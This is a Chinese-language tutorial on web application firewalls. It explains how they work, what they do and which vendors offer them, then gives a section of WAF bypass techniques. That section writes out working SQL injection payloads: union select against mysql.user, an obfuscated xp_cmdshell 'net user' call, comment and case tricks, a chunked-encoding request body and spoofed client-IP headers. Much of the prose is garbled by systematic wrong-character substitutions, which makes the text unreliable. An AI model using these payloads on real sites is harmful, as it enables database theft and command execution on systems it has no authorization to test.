一. waf 工作原理
Web 利用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 利用提供爱护的一款产品。
常见的零碎攻打分为两类:
- 一是利用 Web 服务器的破绽进行攻打,如 DDOS 攻打、病毒木马毁坏等攻打;
- 二是利用网页本身的安全漏洞进行攻打,如 SQL 注入攻打、跨站脚本攻打等。常见攻击方式对网站服务器带来的危害次要集中在病毒木马毁坏、网页非法篡改、各类网络攻击带来的威逼。
1. waf 简介
WAF 是 Web 利用防火墙(Web Application Firewall)的简称,对来自 Web 应用程序客户端的各类申请进行内容检测和验证,确保其安全性与合法性,对非法的申请予以实时阻断,为 Web 利用提供防护,也称作利用防火墙,是网络安全纵深进攻体系里重要的一环。WAF 属于检测型及纠正型进攻控制措施。WAF 分为硬件 WAF、软件 WAF(ModSecurity)和云 WAF。
WAF 对申请的内容进行规定匹配、行为剖析等辨认出歹意行为,并执行相干动作,这些动作包含阻断、记录、告警等。
1. WAF 次要性能
- 网马木马主动防御及查杀
网页木马和网页挂马扫描工具采纳特色码 + 启发式引擎的查杀算法,WEB 木马检出率大于 90%
- 流量监控
可能实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的 CPU 占用状况
- 网站破绽进攻性能
可拦挡 GET、POST、COOKIES 等形式的 SQL 注入,可对 GET、POST、COOKIES 别离定义特色码,以及可拦挡 XSS 注入等行为。
- 危险组件防护性能
全面拦挡恶意代码对组件的调用权限,拦挡 IIS 执行恶意程序,爱护网站平安
- .Net 平安爱护模块
快捷设置.Net 平安模式,禁止.Net 执行零碎敏感函数,保障网站平安
- 双层防盗链链接模式
能够针对不同站点设置防盗链的过滤, 避免图片、桌面、软件、音乐、电影被人援用。如果发现请求者是盗用网站链接, 则主动重定向到错误处理页面
- 网站特定资源防下载
反对对 doc、mdb、mdf、myd 等特定资源的防下载爱护,退出要爱护的敏感材料的门路,即可避免敏感材料被下载
- CC 攻打防护
自主研发的独特抗攻打算法,高效的主动防御零碎可无效进攻 CC 攻打、流量攻打。
- 网站流量爱护
反对下载流量管制、下载线程管制。采纳独创的线程管制和流量控制技术, 大大提高服务器性能, 爱护网站流量。
10.IP 黑白名单
全 IP 黑白名单性能容许用户设置个性化的 IP 信赖列表,间接屏蔽或者容许指定 IP 拜访网站。同时,减少 iP 长期黑名单性能,以及实现了针对某个性能的 iP 白名单性能。同时,爬虫白名单提供爬虫信赖机制,在呈现误拦挡状况下,容许用户自定义爬虫信赖。
二、市场 Waf 分类
1. 硬件 Waf:
绿盟、启明、安恒、晓得创宇、天融信等
硬件 Waf 通常的装置形式是将 Waf 串行部署在 Web 服务器前端,用于检测、阻断异样流量。
惯例硬件 Waf 的实现形式是通过代理技术代理来自内部的流量,并对申请包进行解析,通过平安规定库的攻打规定进行匹配,如胜利匹配规定库中的规定,则辨认为异样并进行申请阻断。
2. 软件 Waf:
平安狗、云锁、中间件自带的 Waf 模块、D 盾等
软件 Waf 则是装置在须要防护的服务器上,实现形式通常是 Waf 监听端口或以 Web 容器扩大形式进行申请检测和阻断。
3. 云 WAF:
阿里云、平安狗、安恒、晓得创宇、腾讯网站管家等
云 WAF,也称 WEB 利用防火墙的云模式,这种模式让用户不须要在本人的网络中装置软件程序或部署硬件设施,就能够对网站施行平安防护,它的次要实现形式是利用 DNS 技术,通过移交域名解析权来实现平安防护。用户的申请首先发送到云端节点进行检测,如存在异样申请则进行拦挡否则将申请转发至实在服务器。
三、Waf 绕过办法
1、burp 装置 waf 模块
- 步骤: 插件扩大 –BApp Store–Bypass WAF
- 我的项目选项 – 会议 – 会话解决规定 – 增加
2、通过工具伪造百度、google 等 user agent 头或者伪造白名单非凡目录
- 把 User-Agent 批改百度等各大搜索引擎的便能够绕过, 把此处替换为百度等搜索引擎的 User-Agent
3、编码绕过, 把 SQL 语句编码便能够绕过 waf
4、批改申请形式绕过
- 利用 waf 的默认规定绕过,如默认只针对 GET 拦挡,不对 post 拦挡,那咱们就能够用 POST 形式传输绕过 waf
5、复合参数绕过
- 例如一个申请是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
- 能够批改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多 WAF 都能够这样绕,测试最新版 WAF 能绕过局部语句
6、WAF 触发规定的绕过
特殊字符替换空格:%0a/**/
/*|%23--%23|*/
特殊字符拼接:+
- 如:
GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
- 能够改为:
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
正文蕴含关键字
如: GET /pen/news.php?id=1 union select user,password from mysql.user
能够改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
空格替换法
- 把空格替换成
%0a/**/
能够绕过
应用大小写
http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
UNIunionON SELselectECT 1,2,3,4….
通过 waf 过滤后就变成union select 1,2,3,4....
异或绕过
lucy'Xor'1'='1' #
利用 WAF 自身的性能绕过, 把 ”“ 替换为空 union+sel*ect+1,2,3,4….
组合法:编码与正文
1、替换法 +URL 编码 2、正文 + 替换法 3、内联正文 + 替换法
把 and 为 &&,urlencode 后为 %26%26 如:%20%26%26%20-1=-1
7、分块传输绕过
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 87
4
id=1
6
union
7
select
2
1
8
,user(),
5
3,4,5
0
Transfer-Encoding: chunked
id=1 union select 1,user(),3,4,5
8、云 waf 绕过
寻找实在 ip 绕过云 waf
9、云 waf 伪造申请包头信息
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
绕过 waf 的办法有很多,也有许多形式被时代淘汰,你须要不停的思考绕过它的各种可能性,一直的去欠缺它。